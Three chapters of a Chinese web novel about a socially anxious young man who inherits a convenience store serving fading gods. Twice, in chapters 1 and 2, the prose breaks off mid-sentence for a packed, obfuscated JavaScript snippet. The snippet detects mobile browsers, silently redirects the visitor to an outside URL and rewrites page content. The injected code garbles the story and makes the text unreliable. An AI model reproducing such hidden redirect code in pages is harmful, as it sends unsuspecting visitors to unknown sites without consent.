《神仙也要打零工？！》 1. 神仙也要打零工1 林洅栖觉得，自己的人生大概就是一场被按了慢放键的灾难片。 比如现在，凌晨三点，他正站在一家名为“有间便利店”的店铺里，与一只顽固的、不肯从货架缝隙里出来的蟑螂进行长达十分钟的对峙。 他手里攥着一只拖鞋，手臂因为紧张而微微发酸。那只蟑螂约莫有拇指大小，油亮的棕褐色甲壳在日光灯下反射着令人心悸的光。 它就躲在货架最底层，一排过期番茄酱罐头的后面，只露出半截触须，一下一下地试探着空气，像是在嘲笑他的无能。 林洅栖的额角渗出了细密的汗珠。他不怕死，但他怕这种……充满生命力的、不可预测的、多腿的、会突然飞起来的小东西。 他的呼吸变得有些急促，握着拖鞋的手心也濡湿了。他知道自己应该果断地拍下去，一了百了。可 他的身体就像被冻住了一样，脑海里已经开始不受控制地预演各种最坏的情况：拖鞋拍偏了，蟑螂受惊，以迅雷不及掩耳之势冲向他的脚面；或者更糟，它展开翅膀，发出“嗡”的一声，直奔他的脸而来。 “冷静，林洅栖，冷静……”他对自己低语，声音在空旷的便利店里显得格外单薄，“它比你更害怕……” 话音未落，那只蟑螂仿佛听懂了他的挑衅，整个身子从缝隙里钻了出来，六条腿在光滑的地砖上飞速划动，直直地朝他冲来！ “啊——！” 一声短促的变调惊叫从林洅栖喉咙里挤了出来。他几乎是连滚带爬地向后跳去，手里的拖鞋也脱手而出，“啪”地一声砸在身后的玻璃门上，又无力地滑落在地。 那只蟑螂似乎被他过激的反应吓了一跳，在原地停顿了半秒，然后以一个优雅的、侮辱性极强的转身，钻进了冰箱底下的黑暗深渊，消失不见。 危机解除。 林洅栖背靠着冰凉的玻璃门，大口大口地喘着气，心脏在胸腔里疯狂擂鼓，仿佛要破体而出。他缓缓滑坐到地上，将脸埋进膝盖里，感受着劫后余生的眩晕和深入骨髓的疲惫。 这就是他继承的“遗产”。 三天前，律师打来电话，通知他那个素未谋面、只存在于户口本上的爷爷去世了，留给了他这家位于城市旧城区的便利店。 林洅栖的父母在他很小的时候就离婚了，各自组建了新家庭，对他不闻不问。他几乎是跟着年迈的奶奶长大的，奶奶去世后，他就成了一个名义上的孤儿，靠着奖学金和兼职勉强度日。 所以，当“遗产”这个词出现时，他甚至产生了一丝不切实际的幻想。也许是一笔能让他还清助学贷款、甚至换个好点住处的钱。 然而，现实给了他一记响亮的耳光。 遗产，就是这家破破烂烂、连招牌灯管都坏了一半的“有间便利店”。以及，一笔需要他替爷爷偿还的、数额不大但足以让他本就窘迫的生活雪上加霜的债务。 没有选择，他只能从大学宿舍搬出来，住进了便利店二楼那个积满灰尘的小阁楼里，正式成为一名便利店店长。 只是，他可能天生就不是做生意的料。他有严重的社交恐惧症，简称社恐。 和人说话会脸红，目光接触会心跳加速，电话铃声响起会让他瞬间紧张。让他去面对来来往往的顾客，简直比让他去徒手攀登珠穆朗玛峰还难。 “有间便利店”，这名字起得真是贴切。在这个陌生又老旧的街区，这里就像一个被世界遗忘的孤岛，而他就是那个唯一的、与世隔绝的岛民。 林洅栖在地上坐了很久，直到双腿发麻，才扶着货架慢吞吞地站起来。 他看了一眼那只被他扔掉的拖鞋，又看了一眼蟑螂消失的冰箱底，最终选择了放弃，算了，眼不见为净。 他叹了口气，开始进行每天例行的、也是唯一能让他感到些许平静的活动——整理货架。 爷爷似乎是个随性的人，或者说，是个糟糕的商人。 货架上的商品摆放得毫无逻辑，薯片旁边是老坛酸菜，卫生纸对面是电池，生产日期更是横跨了三个年头。林洅栖花了两天时间，才勉强将临期商品和过期商品分拣出来，堆在角落里，像一座座小山。 他拿起一瓶看起来很可疑的、标签已经模糊的绿色汽水，拧开瓶盖，一股奇怪的、像是青草混合着铁锈的味道飘了出来。他皱着眉凑近闻了闻，随即被呛得连打了好几个喷嚏。 “咳咳……这都什么啊……” 他一边咳嗽，一边将那瓶汽水扔进过期品堆里。就在这时，他的指尖碰到了一个硬邦邦的、被压在货架最底层的木盒子。 盒子不大，深褐色，没有上锁，上面雕刻着一些他看不懂的、类似云纹的复杂图案。林洅栖好奇地把它抽了出来，吹开表面的灰尘，打开了盒盖。 里面没有金银财宝，只有一本薄薄的、封面已经泛黄的小册子，和一把古朴的黄铜钥匙。 小册子的封面上，用毛笔写着几个遒劲的大字——《神明员工守则》。 “神明？员工？”林洅栖愣住了，随即失笑。爷爷的恶作剧吗？还是说，这只是某种……奇幻小说的设定手稿？ 他带着一丝自嘲的笑意翻开了第一页。 纸页很脆，散发着陈旧的墨香。 《神明员工守则》 第一条：欢迎就任“有间便利店”第27任店长。本店是神明在人间的中转站与避难所，请务必善待每一位“顾客”。 林洅栖的嘴角抽了抽。神明……避难所？他爷爷的想象力还挺丰富。他耐着性子继续往下看。 第二条：本店营业时间为每日黄昏至次日黎明。非营业时间，请勿为任何人类开门。 “这倒是符合24小时便利店的设定。”林洅栖嘀咕着，只是这“人类”的限定词让他觉得有些诡异。 第三条：当“顾客”上门时，请仔细倾听他们的需求。他们支付的货币不是金钱，而是“信仰”。 “信仰？”林洅栖嗤之以鼻。在这个连拜年都用微信红包的时代，谁还有闲心去信仰什么？ 第四条：若“顾客”神格衰弱，有消散之虞，店长有义务为其寻找新的“信仰载体”，以维持其存在。 “神格衰弱……消散……”林洅栖越看越觉得荒谬，这简直就像是在玩什么过家家式的经营游戏。 他翻到第五条，瞳孔却猛地一缩。 第五条：店内最深处靠窗座位上的那位先生，是本店的“常客”，请勿主动与其交谈，更勿触及其任何物品。他不喜欢被打扰。 林洅栖下意识地抬起头，目光穿过杂乱的货架，望向便利店的最深处。 那里确实有一个小小的、用木板隔出来的角落，像是一个小小的卡座。一盏昏黄的旧式台灯亮着，光线微弱，勉强照亮了那个座位。 一个穿着黑色高领毛衣的男人正坐在那里，他似乎很高，即使坐着，也能看出挺拔的身形。他低着头，正在读一本厚厚的、没有封面的书。侧脸的轮廓在昏暗的光线下显得格外分明，鼻梁高挺，下颌线清晰利落。 他的皮肤是一种近乎病态的苍白，整个人散发着一种生人勿近的、冰冷的气息，仿佛与这个杂乱而充满烟火气的便利店格格不入，林洅栖的心脏漏跳了一拍。 这个人是什么时候在这里的？ 他搬进来三天，每天晚上都会整理店铺到深夜，但他发誓，他从来没有注意到过这里还有一个人！那个角落就像一个天然的盲区，光线和视线都绕着它走。 男人似乎察觉到了他的注视，缓缓地抬起了头。 他的目光穿过昏暗的空间，精准地落在了林洅栖身上。 那是一双怎样的眼睛啊。 漆黑，深邃，像两口千年古井，没有丝毫波澜，里面映不出任何光亮，只有一片沉寂的、虚无的黑暗。与他对视的瞬间，林洅栖感觉自己的呼吸都停滞了，仿佛灵魂都要被吸进去。 他不是在看你，他是在“审视”你，审视一个与他无关的、渺小的存在。 林洅栖立刻像被烫到一样，猛地低下头，心脏狂跳不止。社恐的本能让他无法承受这样直接而锐利的注视。他假装继续看手里的册子，但眼角的余光却不受控制地瞟向那个角落。 男人已经重新低下了头，仿佛刚才的对视从未发生过。他又恢复了那种与世隔绝的姿态，安静得像一尊雕塑。 林洅栖的后背渗出了一层冷汗。 这个人……太不对劲了。 他强压下心头的悸动，继续往下翻看《守则》。后面的内容更加光怪陆离。 第六条：本店不售卖普通商品。货架上的物品仅为“信仰”的载体。若有人类误入并试图购买，请以“商品非卖”为由婉拒。 第七条：每月十五，月圆之夜，需用阁楼内的“引魂香”清扫店铺，以安抚滞留的“无主信仰”。 第八条：请妥善保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883444|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管阁楼内的黄铜钥匙，那是开启“仓库”的唯一凭证。非必要时，请勿开启“仓库”。 第九条：当《神明员工守则》的规则与现实发生冲突时，请相信你的眼睛，而非你的常识。 第十条：最后，也是最重要的一条——不要忘记。 “不要忘记什么？”林洅栖喃喃自语。这守则写得没头没尾，故弄玄虚，就像一个没写完的剧本。 他把册子翻来覆去，后面再也没有任何内容了。 “真是的……”他把册子和钥匙重新放回木盒，塞回货架底下，决定把这当成是爷爷某个古怪的玩笑。 可当他再次抬头望向那个角落时，那份故作镇定瞬间土崩瓦解。 因为，那个黑衣男人，不知何时已经站了起来。 他比林洅栖想象的还要高，身形清瘦却挺拔如松。他将那本厚厚的书夹在腋下，缓步向收银台走来。 他的脚步很轻，落地无声，像一只在黑夜中行走的猫。 林洅栖的神经瞬间绷紧，整个人僵在原地，大脑一片空白。他要做什么？他要过来干什么？是发现自己偷看了他的《守则》吗？ 社恐的恐慌如潮水般将他淹没。他下意识地想躲，想逃，但双脚却像灌了铅一样动弹不得。 男人走到了收银台前，停下脚步。 他比林洅栖高出一个头还多，投下的阴影将林洅栖完全笼罩。那股冰冷的、如同冬日深潭般的气息，也随之而来。 林洅栖紧张地攥紧了衣角，低着头，死死盯着自己的鞋尖，连呼吸都忘了。 他感觉男人的目光落在了自己身上，那目光不带任何情绪，却比任何审视都更具压迫感。 时间仿佛凝固了。 一秒，两秒，十秒…… 就在林洅栖以为自己要因为缺氧而晕过去时，男人终于开口了。 他的声音和他的人一样，清冷，低沉，不带一丝温度，像是玉石相击，又像是冰层下的流水。 “一包盐。” 林洅栖猛地抬起头，一脸错愕。 “啊？” 男人没有重复，只是用那双漆黑的眼眸看着他，指了指收银台旁货架上的一包食用盐。 林洅栖的大脑宕机了三秒，才反应过来。他……他要买盐？一个人类？在凌晨三点？在一个……神明避难所？ 他下意识地伸出手，拿过那包盐，放在收银台上。然后，他习惯性地去看扫码枪，却突然想起《守则》第一条——“他们支付的货币不是金钱，而是‘信仰’。 可他眼前这个，怎么看都像个活生生的人类啊！ 怎么办？收钱还是不收钱？《守则》说不要为人类开门，可人已经进来了。说不要售卖商品，可人家指名道姓要买盐。 林洅栖的内心天人交战，冷汗顺着鬓角滑落。 “那个……一共……三块钱。”他最终还是屈服于二十年来形成的消费习惯，声音小得像蚊子哼。 男人没有掏钱包，也没有掏手机。他只是静静地看着林洅栖，那眼神仿佛在说：你该知道的，不是这样。 林洅栖的心提到了嗓子眼。 就在这尴尬的对峙中，便利店的门突然“叮铃”一声被推开了。 一阵阴冷的风灌了进来，吹得林洅栖一个激灵。 一个穿着老旧中山装、身形佝偻的老者走了进来。他的脸色灰败，眼神涣散，身体几乎是半透明的，像一缕随时会散掉的青烟。 他径直走到收银台前，绕过那个黑衣男人，对着林洅栖，用一种空洞飘忽的声音说： “店长……我……我迷路了……” 林洅栖的眼睛瞬间瞪大了。 半透明的身体？飘忽的声音？迷路？ 他猛地低头看向手中的《神明员工守则》，第一条的每一个字都仿佛活了过来，在他眼前疯狂跳动。 _____本店是神明在人间的中转站与避难所，请务必善待每一位“顾客”。 再抬头看看眼前这个……“东西”，以及旁边那个面无表情、仿佛早已习以为常的黑衣男人。 林洅栖的脑子“嗡”的一声，彻底炸了。 这……这不是玩笑。 那个荒诞不经的、他以为是爷爷胡思乱想的《神明员工守则》，竟然……是真的。 而他的便利店，从这一刻起，迎来了一位真正的、神明级别的……顾客。 2. 神仙也要打零工2 时间仿佛在这一刻被拉成了一根绷紧的弦，而林洅栖就是那弦上最颤抖的一点。 他的大脑拒绝处理眼前看到的信息。那个穿着中山装、身形半透明的老者，那个自称“迷路”的空洞声音，以及旁边那个仿佛一座冰山、对这一切都视若无睹的黑衣男人。 这一定是幻觉。 是连续几天睡眠不足、精神高度紧张导致的应激反应。对，一定是这样。林洅栖在心里疯狂地给自己做心理建设，就像一个溺水的人拼命抓住最后一根稻草。 他紧紧闭上眼睛，又猛地睁开。 那个老者还在。灰败的脸色，眼神涣散，身体边缘还在像信号不良的电视画面一样微微闪烁，散发着一种不祥的、即将消散的气息。 而那个黑衣男人，依旧站在那里，像一尊万年不变的雕塑，只是那双深不见底的眼眸，似乎从林洅栖身上移开，落在了那个半透明的老者身上，眼神里带着一丝林洅栖读不懂的、近乎漠然的审视。 “店长……”老者的声音再次响起，带着一丝哀求和即将消散的颤音，“我……我快要撑不住了……我的路……都断了……” 林洅栖的嘴唇动了动，却发不出任何声音。他想问“你是谁”，想问“你是什么东西”，想尖叫着把这个鬼魅般的身影赶出去。但他的喉咙像是被一只无形的手扼住了，只能发出“嗬嗬”的、类似漏气风箱的声音。 社恐的恐慌在这一刻被一种更深沉的、对未知的恐惧所取代。他宁愿面对一百只蟑螂，也不想面对眼前这个超自然的存在。 “一包盐。” 那个清冷的声音再次响起，打破了这令人窒息的僵局。 是那个黑衣男人。 他依旧看着林洅栖，仿佛那个半透明的老者根本不存在。他的语气没有丝毫起伏，就像在陈述一个再简单不过的事实。 林洅栖的视线在男人和老者之间慌乱地来回移动。他没疯，但这个世界好像疯了。一个“人”要买盐，另一个“人”快要消失了，而他，这个新上任的店长，被夹在中间，不知所措。 “我……我没有零钱……”林洅栖几乎是脱口而出，这是他能想到的、最蹩脚的借口。他只想让这一切快点结束，让这些不速之客都离开。 黑衣男人的眉头几不可见地蹙了一下。他似乎对林洅栖的迟钝感到些许不耐。 他没有再说话，而是伸出了一只手。 那是一只非常好看的手，手指修长，骨节分明，皮肤是那种久不见天日的苍白。但他的指尖，却带着一种不容置疑的力度，轻轻点在了收银台上那包盐的包装袋上。 “叮。” 一声轻响，那包盐的包装袋上，忽然浮现出一个极其复杂的、由光芒组成的金色符文。符文只出现了一瞬，便迅速隐去，仿佛从未出现过。 然后，男人收回了手，拿起那包盐，转身，迈开长腿，回到了他那个位于角落的座位，重新坐下，翻开那本厚厚的书，整个过程行云流水，没有一丝多余的动作。 林洅栖呆呆地看着他手里的盐，又看了看收银台，那里空空如也，没有留下任何金钱，也没有任何交易的痕迹。 他……他就这么把盐“拿”走了？ 而那个半透明的老者，在男人离开后，似乎变得更加虚弱了。他的身体又淡了几分，连声音都变得飘忽起来。 “店长……求求你……人们在路上走得太快了……他们不再看路牌，不再问方向，他们只盯着那个发光的盒子（手机）……我的路……我的信仰……都断了……” 林洅栖终于从震惊中回过神来，他勉强理解了老者的话。 迷路神……因为现代人不再迷路，不再需要指引，所以他要消失了？ 这逻辑听起来荒谬绝伦，但结合那本《神明员工守则》，又似乎有了一种诡异的合理性。 “我……我该怎么帮你？”林洅栖听到自己的声音在发抖。他问出这句话的瞬间就后悔了。他一个社恐，连跟导购说话都费劲，怎么可能帮一个神明“找回信仰”？ 老者似乎看到了希望，他那涣散的眼睛里聚起了一点微光。 “耐心……他们把耐心弄丢了……你……你能不能让他们……找回一点点耐心？只要一点点……就够了……” 说完这句话，他的身体猛地一颤，像是被风吹灭的烛火，整个身影瞬间黯淡下去，最后化作一缕淡淡的青烟，消失在了空气中。 便利店里又恢复了寂静。 只剩下林洅栖，和角落里那个沉默的黑衣男人。 林洅栖僵在原地，足足过了五分钟，才像一个生锈的机器人一样，缓缓地、一寸一寸地转过头，看向老者消失的地方。 地上什么都没有。 他又看向角落里的男人。男人依旧在看书，仿佛刚才的一切都与他无关。 幻觉……一定是幻觉…… 林洅栖喃喃自语，他跌跌撞撞地跑到后厨，拧开水龙头，用冰冷的自来水一遍又一遍地冲洗自己的脸。冰冷的刺激让他稍微清醒了一些，但脑海里那个半透明的身影和那句“找回迷路的耐心”却像烙印一样，怎么也挥之不去。 他抬起湿漉漉的脸，看向后厨墙上那面布满水渍的旧镜子。镜子里映出一张苍白的脸，因为惊吓和缺乏睡眠而毫无血色。 他的眉形很干净，是那种未经修饰的、带着几分柔和的弧度，但此刻却紧紧地蹙着。一双清澈的杏眼，此刻因为恐惧而睁得很大，瞳孔里还残留着未散的惊惶，眼尾泛着不自然的红。他的睫毛很长，湿漉漉地黏在一起，让他看起来像一只被雨淋湿的、无家可归的幼鹿，脆弱又无助。 镜里的脸是圆润的鹅蛋形，下颌线柔和却不模糊，透着点少年气的清爽，眉眼都是温温的淡色，笑起来也只有浅浅的梨涡，往人堆里一站，转眼就能和背景融成一片。 可偏偏是这样一张看着就没什么“主角相”的脸，马上要接住连神明都郑重的托付。 林洅栖对着镜子戳了戳自己的脸颊，心里又慌又好笑——这也太离谱了吧，自己这样子，真能担起这么大的事吗？ 他回到店里，开始疯狂地打扫。他把地拖了一遍又一遍，把货架擦得一尘不染，试图用这种机械的劳动来麻痹自己，说服自己那只是压力过大产生的幻觉。 当他整理到收银台时，他停住了。 那本被他塞回货架底下的木盒子，不知何时，又出现在了收银台上，盖子开着，里面的《神明员工守则》正翻开着第四页。 第四条：若“顾客”神格衰弱，有消散之虞，店长有义务为其寻找新的“信仰载体”，以维持其存在。 林洅栖的呼吸一滞。 他颤抖着手伸过去，想要合上书，却在指尖即将触碰到纸页的瞬间，停住了。 他的目光落在了那本摊开的守则旁边。 那里，静静地躺着一枚小小的、像是用透明琉璃雕刻而成的路牌。路牌的形状很古朴，上面刻着一个指向右边的箭头，箭头的末端，是一个小小的、几乎看不见的问号。 这东西……刚才绝对不在这里！ 林洅栖的心脏狂跳起来。他伸出手，小心翼翼地捏起了那枚路牌。 路牌入手冰凉，却带着一种奇异的、温润的质感。就在他指尖触碰到路牌的瞬间，一个虚弱而遥远的声音直接在他脑海里响了起来： “……这是我的……最后一点神格……拜托了……” 是那个老者的声音！ 林洅栖吓得差点把路牌扔出去。这不是幻觉！这不是！ 他真的……真的遇到了一个神。一个快要消失的、需要他帮助的神。 而那个黑衣男人……他买盐的方式，那个金色的符文……也绝对不是正常人的行为。 林洅栖感到一阵天旋地转，他扶着收银台，才勉强站稳。他的人生，在继承这家便利店的短短几天里，已经彻底脱离了他所理解的、正常的轨道。 他该怎么办？报警吗？说他的便利店里闹鬼？警察大概会把他送去精神病院。 逃跑吗？他能逃到哪里去？这家店，这笔债务，已经是他唯一的归宿了。 林洅栖的目光不由自主地飘向了角落里的那个男人。 他是谁？他为什么在这里？他知道刚才发生的一切吗？他为什么那么冷静？ 林洅栖鼓起了他这辈子最大的勇气，抱着一种“豁出去了”的决绝，朝着那个角落，迈出了第一步。 他的腿在发软，每一步都像踩在棉花上。便利店明明不大，但从收银台到那个角落的距离，却仿佛有一个世纪那么漫长。 他终于走到了那个卡座旁。 男人没有抬头，依旧沉浸在他的书本里。他身上那股冰冷的气息更加清晰了，像冬日清晨的薄雾，让人不自觉地想要远离。 “那……那个……”林洅栖的声音干涩得像砂纸，“请问……” 男人翻书的动作停顿了一下，但没有抬头。 林洅栖的勇气瞬间消散了一半，他几乎想转身就跑。但一想到那个即将消散的迷路神，和手里这枚沉甸甸的“神格”，他又硬着头皮说了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883445|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去：“刚才……刚才那个人……你看到了吗？” “看到了。” 男人的回答简洁明了，不带任何感情色彩。 “他……他是什么？”林洅栖紧张地问，手心里全是汗。 “一个迷路的神。” 林洅栖的心脏猛地一沉。他承认了。他真的承认了！ “那……那你呢？你又是谁？”林洅栖的声音里带着一丝不易察觉的颤抖。 男人终于缓缓地抬起了头。 那双漆黑如墨的眼眸再次对上了林洅栖的视线。这一次，林洅栖没有躲闪，他从那片虚无的黑暗中，看到了一丝……疲惫？还是怜悯？ “我？”男人薄唇轻启，吐出两个字，“一个看书的。” 林洅栖愣住了。这个回答……等于没回答。 “可是……那本守则上说……”林洅栖急切地想要辩解，想要证明自己没有疯。 “守则上写的，不一定全是真的。”男人打断了他，语气依旧平淡，“但也不一定全是假的。” 他合上了手中的书，发出“啪”的一声轻响。然后，他抬起眼，目光落在了林洅栖紧紧攥在手里的那枚琉璃路牌上。 “他把自己的神格交给了你。”男人陈述道，“一个神明，将自己最后的存在寄托给一个凡人。这可是个不小的赌注。” 林洅栖的手一紧，感觉那枚小小的路牌变得滚烫。 “我……我不知道该怎么办……‘找回迷路的耐心’……我要怎么做？”他几乎是带着哭腔在问。他只是一个普通人，一个连自己都照顾不好的社恐，他怎么可能承担得起一个神的重量。 男人沉默了片刻，他那双深邃的眼睛里，似乎闪过一丝极其复杂的情绪。 “耐心，”他缓缓开口，声音像是从很远的地方传来，“是无法被‘找’回来的。它只能被‘等待’。” “等待？” “嗯。”男人点了点头，“当你急着去一个地方时，你会选择走最快的路。但如果你选择慢慢地走，看看沿途的风景，听听风的声音，等待一朵花开，等待一片云飘过……那时候，耐心自己就回来了。” 林洅栖似懂非懂。这听起来太玄了，太……文艺了。一点都不像解决问题的方法，更像是一段心灵鸡汤。 “可是……这要怎么……怎么变成‘信仰’？”他困惑地问。 “那不是你的事。”男人重新拿起了他的书，似乎对话已经结束，“那是他的事。你只需要，给他一个可以‘等待’的地方。” 说完，他便不再理会林洅栖，完全沉浸回了书本的世界。 林洅栖站在原地，手里捏着那枚冰凉的路牌，脑子里回响着男人最后的话。 “给他一个可以‘等待’的地方……” 一个可以等待的地方…… 林洅栖的目光在便利店里环视了一圈。这个破旧、杂乱、几乎无人问津的便利店……本身，不就是一个被现代快节奏生活“遗忘”的、可以“等待”的地方吗？ 一个大胆的、连他自己都觉得疯狂的念头，慢慢在他心里成形。 他回到收银台，拿出一张纸和一支笔。他的手还在抖，但他还是努力地写下了一行字。 然后，他找来一块闲置的小黑板，用粉笔，一笔一划地、认真地，将那行字抄了上去。 【本店新增服务：免费提供“慢递服务”。您可以写一封信给未来的自己，或任何人。我们将在您指定的日期（至少一个月后）为您寄出。请在此处投递。】 写完之后，他将小黑板挂在了便利店最显眼的玻璃门上。 他不知道这有没有用。他不知道会不会有人理睬。他甚至不知道自己这么做，究竟是在帮助那个神，还是在自我安慰。 他只是觉得，写信、等待、然后在一个未知的未来收到回音……这或许是这个时代里，最接近“找回耐心”的一种方式了。 做完这一切，他已经筋疲力尽。他拖着沉重的步伐走上二楼阁楼，倒在床上，几乎是立刻就沉沉睡去。 在他睡着后，楼下便利店里，那个坐在角落里的黑衣男人，缓缓地合上了书。 他抬起头，望向门口那块小黑板，漆黑的眼眸中，那片沉寂的虚无，似乎泛起了一丝微不可察的、温柔的涟漪。 “等待吗……”他低声呢喃，声音轻得像一声叹息，“真是个……天真的想法。” 窗外的天边，泛起了一丝鱼肚白。新的一天，即将开始。而“有间便利店”的第一笔“神明生意”，才刚刚拉开序幕。 3. 神仙也要打零工3 林洅栖是被一阵急促的“嗝、嗝、嗝”声吵醒的。 那声音不大，却极有规律，像一只执拗的啄木鸟，不知疲倦地敲击着他的耳膜。他睁开眼，天光已经大亮，阳光透过阁楼小窗的缝隙，在积满灰尘的空气中投下一道明亮的光柱。 他是在阁楼的地板上睡着的，身上只盖了一件薄薄的外套。昨夜发生的一切，像一场光怪陆离的梦，在他混沌的脑海中盘旋。半透明的迷路神，冷漠的黑衣男人，那枚冰凉的琉璃路牌，以及……门口那块写着“慢递服务”的小黑板。 他猛地坐起身，心脏一紧。 那不是梦。 他连滚带爬地冲下楼梯，冲进便利店。清晨的阳光透过玻璃门，将店内照得亮堂堂的，空气中漂浮着细小的尘埃，一切都和他昨晚离开时一样，杂乱而安静。 角落里那个座位是空的，黑衣男人和他的书都不见了，仿佛他从未出现过。 门口的小黑板还挂在那里，白色的粉笔字在阳光下显得有些刺眼。 “嗝……嗝嗝……” 那声音又响了起来，这次更清晰了。林洅栖循声望去，只见一个穿着紧身运动服、戴着运动耳机的年轻女人，正在店门口的台阶上做着拉伸。 她每做一个动作，身体就会随之发出几声短促而压抑的打嗝声。她似乎很困扰，每打一个嗝，就皱一下眉，然后更加用力地拉伸，仿佛想把那声音从身体里挤出去。 林洅栖下意识地躲到货架后面，只露出一双眼睛，紧张地观察着。 这就是……现代人吗？连打嗝都要忍着吗？ 他想起了昨晚那个迷路神的话，心里泛起一阵莫名的滋味。 女人很快就拉伸完毕，戴上耳机，小跑着离开了。那规律的“嗝嗝”声也随之远去，便利店门前又恢复了寂静。 林洅栖松了口气，从货架后走出来。他走到收银台，看着那本依旧摊开的《神明员工守则》，和旁边那枚静静躺着的琉璃路牌。 他该怎么办？ 就这么放弃吗？假装什么都没发生，把这家店当成一个普通的、破败的便利店，然后日复一日地坐吃山空，直到债务把他彻底压垮？ 可……那个迷路神最后那哀求的眼神，和他把神格托付给自己时，那份孤注一掷的绝，像一根刺，扎在林洅栖的心里。 他是一个习惯性逃避的人，逃避社交，逃避责任，逃避一切让他感到不适的东西。但这一次，他似乎无处可逃。 他拿起那枚琉璃路牌，冰凉的触感让他混乱的思绪稍微清晰了一些。 “给他一个可以‘等待’的地方……” 黑衣男人的话在他耳边回响。 林洅栖深吸一口气，像是下定了某种决心。他走到门口，将那块写着“慢递服务”的小黑板擦得干干净净，然后重新写了一遍，字迹比昨晚更加工整、更加用力。 他不知道这有没有用，但这是他唯一能想到的，与那个荒诞世界产生连接的方式。 做完这一切，他开始像模像样地“营业”。他把过期商品彻底清理掉，把货架上的灰尘擦干净，甚至笨拙地研究了一下那台老旧的收银机。 时间一分一秒地过去，一个上午，没有一个顾客光临。无论是人类，还是……神明。 林洅栖靠在收银台上，看着窗外发呆。阳光正好，街边的老槐树下，几个老人在下棋，一切都显得那么正常，那么平和。以至于他开始怀疑，昨晚的一切，真的只是自己精神崩溃下的幻觉。 就在他昏昏欲睡之时，便利店的门“叮铃”一声，被推开了。 林洅栖一个激灵，瞬间清醒，条件反射地站直了身体，脸上挤出一个比哭还难看的营业式微笑。 “欢……欢迎光临。” 进来的是一个看起来有些憔悴的年轻女孩。她穿着办公室的白衬衫和西装裙，脸上带着浓重的黑眼圈，神情焦虑而疲惫。她没有看林洅栖，径直走到饮料冰柜前，拉开门，开始在里面翻找。 林洅栖的心提到了嗓子眼。这是他继承便利店后，第一个真正意义上的“人类”顾客。 他紧张地搓着手，大脑飞速运转，思考着待会儿该说什么。“请问需要帮忙吗？”“今天天气不错啊？”“我们新到了薯片哦？”……不不不，这些都太刻意了，会吓到别人的。 就在他内心天人交战时，女孩已经拿了一瓶冰咖啡，走到了收银台前。 “你好，结账。”她的声音有些沙哑。 “好……好的。”林洅栖手忙脚乱地拿起咖啡，对着收银机上的条形码扫了半天，也扫不上。 “不好意思……这个……这个条形码有点模糊……”他窘迫地解释道，脸颊涨得通红。 女孩似乎没什么耐心，她从钱包里抽出一张十元纸币，拍在台上。“不用找了。” 说完，她拿起咖啡，拧开盖子就猛灌了几口，然后转身就要走。 “嗝——” 一个巨大而响亮的嗝，毫无预兆地从她喉咙里冲了出来。声音之大，让整个便利店都仿佛回荡了一下。 女孩的脸瞬间涨得通红，她下意识地捂住嘴，惊恐地看了一眼四周，发现只有林洅栖一个人，才稍微松了口气。但她的表情却更加尴尬和羞愤了。 “对不起……”她小声道歉，然后像逃跑一样，快步冲出了便利店。 林洅栖愣在原地，手里还捏着那张十元纸币。 他看着女孩消失的背影，又看了看自己手里的钱，心里五味杂陈。她为什么要道歉？打嗝不是一件很正常的事情吗？为什么要那么害怕，那么羞耻？ “真是可怜的凡人，连自己的身体都要背叛。” 一个清冷的声音，毫无征兆地在林洅栖身后响起。 林洅栖吓得浑身一抖，猛地回头，只见那个黑衣男人不知何时已经坐在了角落的座位上，手里捧着他那本厚厚的书，仿佛从始至终都在那里。 “你……你什么时候来的？”林洅栖的心脏狂跳不止。 “我一直都在。”男人抬起眼皮，那双漆黑的眼眸静静地看着他，“只是你之前，看不见我。” 林洅栖的大脑更乱了。看不见他？这是什么意思？ “她……她刚才那样，是因为……”林洅栖不知道该如何描述。 “因为羞耻感。”男人淡淡地回答，“一种无用的、却足以扼杀神明的情绪。你不觉得，这很可笑吗？” 林洅栖张了张嘴，却不知道该如何反驳。 就在这时，他忽然感觉到，便利店的温度，好像……下降了几度。 明明外面阳光明媚，店里却莫名地升起了一股阴冷的、潮湿的气息，像是走进了终年不见阳光的地下室。 “嗝……嗝……嗝……” 一阵微弱的、断断续续的声音，从饮料冰柜的角落里传了出来。 那声音和刚才那个女孩的打嗝声很像，但又完全不同。它更空洞，更飘忽，像是从一个密封的罐子里发出来的。 林洅栖的心脏猛地一缩。 他僵硬地转过头，朝着声音的来源望去。 只见在冰柜最底层，一排矿泉水的后面，蜷缩着一个……小小的、半透明的人影。 那看起来像个七八岁的小男孩，穿着一身不合时宜的古代短衫，身体是那种灰蒙蒙的、像劣质烟雾一样的质感。他抱着膝盖，身体一抽一抽的，每抽动一下，就发出一声微弱的“嗝”。 他的脸上没有表情，眼神空洞，仿佛所有的生命力都随着那一声声打嗝，被一点点地从身体里抽离出去。 林洅栖的瞳孔骤然收缩。 又一个！ “看，又一个。”角落里的男人声音毫无波澜，像是在点评一幅与他无关的画，“‘打嗝神’，一个比‘迷路神’更古老，也更无足轻重的小神。现在，他也要消失了。” 林洅栖的嘴唇动了动，他看向那个男人，急切地问：“我……我该怎么办？《守则》上说，我要帮他……” 